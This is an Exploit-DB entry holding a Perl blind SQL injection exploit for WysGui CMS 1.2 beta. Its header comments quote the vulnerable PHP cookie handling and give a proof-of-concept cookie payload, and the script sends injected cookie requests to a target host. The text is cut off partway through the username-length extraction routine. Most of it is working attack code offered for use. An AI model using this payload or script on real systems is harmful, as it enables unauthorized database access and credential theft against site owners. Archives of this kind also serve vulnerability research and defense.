Exploit-DB #8491
Description: WysGui CMS 1.2b - Insecure Cookie Handling Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-04-20
Author: YEnH4ckEr

Exploit:
#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#**	       										      **
#**  											      **
#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
#**     || || ||  []        [][]   []   []  []     []   []      [] []   []	  []    []    **
#   [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    
#**							                                      **
#**    											      **
#**                          Â¡VIVA SPAIN!...Â¡GANAREMOS EL MUNDIAL!...o.O                      **
#**					  Â¡PROUD TO BE SPANISH!	                              **
#**											      **
#***********************************************************************************************
#***********************************************************************************************
#
#----------------------------------------------------------------------------------------------
#|       	   	 (Insecure cookie handling) BLIND SQL INJECTION		              |
#|--------------------------------------------------------------------------------------------|
#|                         	    | WysGui CMS 1.2 BETA |		 	              |
#|  CMS INFORMATION:		     ---------------------				      |
#|										              |
#|-->WEB: http://wysgui.com/					   		              |
#|-->DOWNLOAD: http://sourceforge.net/projects/wysgui/		   		              |
#|-->DEMO: http://wysgui.com/demo/							      |
#|-->CATEGORY: CMS / Portals								      |
#|-->DESCRIPTION: WysGui comes from two technical words: WYSIWYG and GUI.WYSIWYG,             |
#| 		(pronounced, Wizzy-Wig),tands for What You See Is What You Get...	      |
#|											      |
#|  CMS VULNERABILITY:									      |
#|											      |
#|-->TESTED ON: firefox 3                                				      |
#|-->DORK: N/A										      |
#|-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT					      |
#|-->AFFECT VERSION: LAST = 1.2 BETA (Maybe <= ?)					      |
#|-->Discovered Bug date: 2009-04-20							      |
#|-->Reported Bug date: 2009-04-20							      |
#|-->Fixed bug date: Not fixed								      |
#|-->Info patch (????): Not fixed							      |   
#|-->Author: YEnH4ckEr									      |
#|-->mail: y3nh4ck3r[at]gmail[dot]com							      |
#|-->WEB/BLOG: N/A									      |
#|-->COMMENT: A mi novia Marijose...hermano,cunailla, padres (y amigos xD) por su apoyo.      |
#----------------------------------------------------------------------------------------------
#
#-----------
#BUG FILE:
#-----------
#
#Path --> [HOME_PATH]/modules/body_mods/admin_panel/settings.php
#
#It contents(Â¿?...LooooL)
#
#<?php
#//loading data for site tree.
#if(strlen($_COOKIE['admin_pages']))
#{
#	$admin_pages = explode(',',$_COOKIE['admin_pages']);	<--------VULN--------|
#}
#else
#{
#	$admin_pages = array(
#			'addPage', 
#			'Edit Page', 
#			'Delete Page', 
#			  ...);
#}
#?>
#
#Then...
#
#Path --> [HOME_PATH]/modules/body_mods/admin_panel/settings.php
#
#It contents:
#				...
#				
#				if( $i>1 ){
#					$order.= ' `page` = "'.$admin_pages[$i].'",';	
#				}
#				...			
#
#				$allPages_select = 'SELECT * FROM `pagedata` 
#				WHERE '.$where.'								<--------VULN--------|
#				ORDER BY  '.$order;
#				$allPages_query = mysql_query($allPages_select) or die($allPages_select);
#				while($allPages_row = mysql_fetch_array($allPages_query))
#				{...}
#------------
#CONDITIONS:
#------------
#
#**gpc_magic_quotes=off
#
#---------------------------------------
#PROOF OF CONCEPT (BLIND SQL INJECTION):
#---------------------------------------
#
#COOKIE --> admin_pages=about" AND 1=1 /*
#
#Return: about.php
#
#*******************************************************************
# ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!
#*******************************************************************
#-------------------------------------------------------------------
#*******************************************************************
# GREETZ TO: JosS and all SPANISH Hack3Rs community!
#*******************************************************************
#
#-------------------EOF---------------------------------->>>ENJOY IT!
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
	my $SO = $^O;
	my $linux = "";
	if (index(lc($SO),"win")!=-1){
		$linux="0";
	}else{
		$linux="1";
	}		
	if($linux){
		system("clear");
	}
	else{
		system("cls");
		system ("title WysGui CMS 1.2 BETA (Insecure Cookie Handling) BLIND SQL Injection Exploit");
		system ("color 02");
	}
}
sub request {
	my $userag = LWP::UserAgent->new;
	$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
	my $request = HTTP::Request -> new(GET => $_[1]);
	$request->header(cookie => $_[0]);
	my $outcode= $userag->request($request)->as_string;
	return $outcode;
}
sub helper {
	print "\n\t[XxX] WysGui CMS 1.2 BETA - BLIND SQL Injection Exploit\n";
	print "\t[XxX] USAGE MODE: [XxX]\n";
	print "\t[XxX] perl $0 [HOST] [PATH] [id]\n";
	print "\t[XxX] [HOST]: Web.\n";
	print "\t[XxX] [PATH]: Home Path.\n";
	print "\t[XxX] [id]: Id user. Default: 1 (**optional)\n";
	print "\t[XxX] Example: perl $0 'www.example.es' 'wysgui_1.2' '1'\n"; 
}
sub lengthuser{
#First, user length...
$exit=0;
$i=0;
while($exit==0){
my $insec_cookie='admin_pages=about